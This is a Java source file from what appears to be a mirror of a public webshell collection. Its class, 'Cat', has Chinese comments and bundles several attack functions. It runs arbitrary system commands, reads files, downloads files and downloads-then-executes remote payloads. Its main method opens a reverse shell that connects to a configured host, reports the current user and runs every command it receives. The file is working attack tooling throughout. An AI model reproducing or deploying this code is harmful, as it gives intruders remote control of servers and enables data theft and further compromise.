mirror of
https://github.com/tennc/webshell
synced 2024-11-26 21:20:18 +00:00
190 lines
4.8 KiB
Java
190 lines
4.8 KiB
Java
|
import java.io.ByteArrayOutputStream;
|
|||
|
import java.io.File;
|
|||
|
import java.io.FileInputStream;
|
|||
|
import java.io.FileOutputStream;
|
|||
|
import java.io.IOException;
|
|||
|
import java.io.InputStream;
|
|||
|
import java.io.OutputStream;
|
|||
|
import java.io.PrintWriter;
|
|||
|
import java.io.StringWriter;
|
|||
|
import java.lang.reflect.Method;
|
|||
|
import java.net.MalformedURLException;
|
|||
|
import java.net.Socket;
|
|||
|
import java.net.URL;
|
|||
|
import java.net.UnknownHostException;
|
|||
|
import java.util.Properties;
|
|||
|
import java.util.regex.Pattern;
|
|||
|
|
|||
|
public class Cat {
|
|||
|
|
|||
|
static String encoding = "UTF-8";
|
|||
|
|
|||
|
static{
|
|||
|
encoding = isNotEmpty(getSystemEncoding())?getSystemEncoding():encoding;
|
|||
|
}
|
|||
|
|
|||
|
/**
|
|||
|
* 获取配置文件
|
|||
|
* @return
|
|||
|
* @throws IOException
|
|||
|
*/
|
|||
|
public static Properties getProperties() throws IOException {
|
|||
|
Properties p = new Properties();
|
|||
|
p.load(Cat.class.getClass().getResourceAsStream("/config.properties"));
|
|||
|
return p;
|
|||
|
}
|
|||
|
|
|||
|
/**
|
|||
|
* 异常转换成字符串,获取详细异常信息
|
|||
|
* @param e
|
|||
|
* @return
|
|||
|
*/
|
|||
|
public static String exceptionToString(Exception e) {
|
|||
|
StringWriter sw = new StringWriter();
|
|||
|
e.printStackTrace(new PrintWriter(sw, true));
|
|||
|
return sw.toString();
|
|||
|
}
|
|||
|
|
|||
|
/**
|
|||
|
* 获取系统文件编码
|
|||
|
* @return
|
|||
|
*/
|
|||
|
public static String getSystemEncoding(){
|
|||
|
return System.getProperty("sun.jnu.encoding");
|
|||
|
}
|
|||
|
|
|||
|
/**
|
|||
|
* 非空判断
|
|||
|
*
|
|||
|
* @param obj
|
|||
|
* @return
|
|||
|
*/
|
|||
|
public static boolean isNotEmpty(Object obj) {
|
|||
|
if (obj == null) {
|
|||
|
return false;
|
|||
|
}
|
|||
|
return !"".equals(String.valueOf(obj).trim());
|
|||
|
}
|
|||
|
|
|||
|
/**
|
|||
|
* 输入流转二进制数组输出流
|
|||
|
* @param in
|
|||
|
* @return
|
|||
|
* @throws IOException
|
|||
|
*/
|
|||
|
public static ByteArrayOutputStream inutStreamToOutputStream(InputStream in) throws IOException{
|
|||
|
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
|||
|
byte[] b = new byte[1024];
|
|||
|
int a = 0;
|
|||
|
while((a = in.read(b))!=-1){
|
|||
|
baos.write(b,0,a);
|
|||
|
}
|
|||
|
return baos;
|
|||
|
}
|
|||
|
|
|||
|
/**
|
|||
|
* 复制流到文件,如果文件存在默认会覆盖
|
|||
|
* @param in
|
|||
|
* @param path
|
|||
|
* @throws IOException
|
|||
|
*/
|
|||
|
public static void copyInputStreamToFile(InputStream in,String path) throws IOException{
|
|||
|
FileOutputStream fos = new FileOutputStream(path);
|
|||
|
fos.write(inutStreamToOutputStream(in).toByteArray());
|
|||
|
fos.flush();
|
|||
|
fos.close();
|
|||
|
}
|
|||
|
|
|||
|
/**
|
|||
|
* 模仿Linux下的cat Windows下的type 查看文件内容
|
|||
|
* @param path
|
|||
|
* @return
|
|||
|
* @throws IOException
|
|||
|
*/
|
|||
|
public static String cat(String path) throws IOException {
|
|||
|
return new String(inutStreamToOutputStream(new FileInputStream(path)).toByteArray());
|
|||
|
}
|
|||
|
|
|||
|
/**
|
|||
|
* 执行操作系统命令 如果是windows某些命令执行不了,可以用 cmd /c dir 执行dir命令
|
|||
|
* @param cmd
|
|||
|
* @return
|
|||
|
*/
|
|||
|
public static String exec(String cmd) {
|
|||
|
try {
|
|||
|
return new String(inutStreamToOutputStream(Runtime.getRuntime().exec(cmd).getInputStream()).toByteArray(),encoding);
|
|||
|
} catch (IOException e) {
|
|||
|
return exceptionToString(e);
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
/**
|
|||
|
* 下载文件到指定目录,保存的文件名必须指定
|
|||
|
* @param url
|
|||
|
* @param path
|
|||
|
* @throws MalformedURLException
|
|||
|
* @throws IOException
|
|||
|
*/
|
|||
|
public static void download(String url,String path) throws MalformedURLException, IOException{
|
|||
|
copyInputStreamToFile(new URL(url).openConnection().getInputStream(), path);
|
|||
|
}
|
|||
|
|
|||
|
/**
|
|||
|
* 连接远程端口,提供本地命令执行入口
|
|||
|
* @param host
|
|||
|
* @param port
|
|||
|
* @throws UnknownHostException
|
|||
|
* @throws IOException
|
|||
|
*/
|
|||
|
public static void shell(String host,int port) throws UnknownHostException, IOException{
|
|||
|
Socket s = new Socket(host,port);
|
|||
|
OutputStream out = s.getOutputStream();
|
|||
|
InputStream in = s.getInputStream();
|
|||
|
out.write(("User:\t"+exec("whoami")).getBytes());
|
|||
|
int a = 0;
|
|||
|
byte[] b = new byte[4096];
|
|||
|
while((a=in.read(b))!=-1){
|
|||
|
out.write(exec(new String(b,0,a,"UTF-8").trim()).getBytes("UTF-8"));
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
/**
|
|||
|
* 下载远程文件并执行,命令执行完成后会删除下载的文件
|
|||
|
* @param url
|
|||
|
* @param fileName
|
|||
|
* @param cmd
|
|||
|
* @return
|
|||
|
* @throws MalformedURLException
|
|||
|
* @throws IOException
|
|||
|
*/
|
|||
|
public static String auto(String url,String fileName,String cmd) throws MalformedURLException, IOException{
|
|||
|
String tmpDir = System.getProperty("java.io.tmpdir");
|
|||
|
File tmpFile = new File(tmpDir,fileName);
|
|||
|
download(url, tmpFile.toString());
|
|||
|
String out = exec(cmd.replaceAll(Pattern.quote("${tmpdir}"),tmpDir+File.separator));
|
|||
|
tmpFile.delete();
|
|||
|
return out;
|
|||
|
}
|
|||
|
|
|||
|
public static Method getMethod(String method){
|
|||
|
Method[] methods = Cat.class.getDeclaredMethods();
|
|||
|
for (int i = 0; i < methods.length; i++) {
|
|||
|
Method m = methods[i];
|
|||
|
if(method.equals(m.getName())){
|
|||
|
return m;
|
|||
|
}
|
|||
|
}
|
|||
|
return null;
|
|||
|
}
|
|||
|
|
|||
|
public static void main(String[] args) {
|
|||
|
try {
|
|||
|
Properties p = getProperties();
|
|||
|
shell(p.getProperty("host"), Integer.parseInt(p.getProperty("port")));
|
|||
|
} catch (Exception e) {
|
|||
|
e.printStackTrace();
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
}
|